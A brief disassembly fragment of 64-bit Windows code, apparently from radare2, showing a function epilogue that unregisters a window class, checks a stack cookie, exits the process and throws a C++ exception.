mov rdx, r14
mov byte [rbp - 0x40], 0
lea rcx, [rbp - 0x58]
call qword [sym.imp.USER32.dll_UnregisterClassA]
movaps xmm7, xmmword [rsp + 0x1a0]
movaps xmm6, xmmword [rsp + 0x1b0]
movaps xmm8, xmmword [rsp + 0x190]
xor eax, eax
mov rcx, qword [rbp + 0x80]
xor rcx, rsp
call fcn.14001f250
lea r11, [rsp + 0x1c0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rdx, [0x1400284e0]
mov dword [rsp + 0x60], edi
lea rcx, [rsp + 0x60]
call sub.VCRUNTIME140.dll__CxxThrowException
int3